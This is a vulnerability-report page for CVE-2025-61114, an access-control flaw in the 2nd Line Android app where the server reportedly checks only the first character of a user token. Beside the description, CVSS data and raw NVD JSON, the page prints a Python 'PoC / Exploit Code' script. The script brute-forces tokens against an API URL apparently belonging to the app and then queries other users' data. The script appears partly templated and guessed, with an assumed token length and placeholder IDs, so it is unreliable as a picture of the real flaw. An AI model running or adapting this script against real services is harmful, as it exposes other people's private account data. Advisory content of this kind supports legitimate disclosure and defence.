Security Vulnerability Report
中文
CVE-2025-61114 CVSS 7.5 HIGH

CVE-2025-61114

Published: 2025-10-30 17:15:39
Last Modified: 2026-04-15 00:35:42

Description

2nd Line Android App version v1.2.92 and before (package name com.mysecondline.app), developed by AutoBizLine, Inc., contains an improper access control vulnerability in its authentication mechanism. The server only validates the first character of the user_token, enabling attackers to brute force tokens and perform unauthorized queries on other user accounts. Successful exploitation could result in privacy breaches and unauthorized access to user data.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

2nd Line Android App v1.2.92及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import string import time # CVE-2025-61114 PoC - 2nd Line Android App Token Brute Force # Target: 2nd Line Android App Authentication Bypass TARGET_URL = "https://api.2ndlineapp.com/v1/user/query" TARGET_USER_ID = "victim_user_id" def brute_force_token(): """ Due to improper access control, server only validates first character of user_token. This PoC demonstrates brute force attack on the token. """ characters = string.ascii_lowercase + string.digits + string.ascii_uppercase valid_token = None print("[*] Starting token brute force attack...") print("[*] Note: Server only validates first character of token") # Since only first character is validated, try common first characters for first_char in characters[:20]: # Limit for demonstration # Generate token with current first character token = first_char + "X" * 31 # Assuming 32 char token headers = { "Authorization": f"Bearer {token}", "X-User-ID": TARGET_USER_ID, "Content-Type": "application/json" } try: response = requests.get(TARGET_URL, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Valid token found: {token}") print(f"[+] Response: {response.text}") valid_token = token break elif response.status_code == 401: print(f"[-] Invalid token attempt: {token}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") time.sleep(0.1) # Rate limiting return valid_token def exploit_unauthorized_access(token): """ After obtaining valid token, perform unauthorized queries on other user accounts. """ if not token: print("[-] No valid token available") return print("[*] Exploiting unauthorized access...") # Query other user's data headers = { "Authorization": f"Bearer {token}", "X-Target-User": "other_user_id" } response = requests.get(f"{TARGET_URL}/data", headers=headers) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Data: {response.text}") if __name__ == "__main__": print("CVE-2025-61114 PoC - 2nd Line App Improper Access Control") token = brute_force_token() if token: exploit_unauthorized_access(token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61114", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:39.020", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "2nd Line Android App version v1.2.92 and before (package name com.mysecondline.app), developed by AutoBizLine, Inc., contains an improper access control vulnerability in its authentication mechanism. The server only validates the first character of the user_token, enabling attackers to brute force tokens and perform unauthorized queries on other user accounts. Successful exploitation could result in privacy breaches and unauthorized access to user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://kar1oz.notion.site/2nd-Line-2629a473ecb280739ecac2d316da666c", "source": "[email protected]"}]}}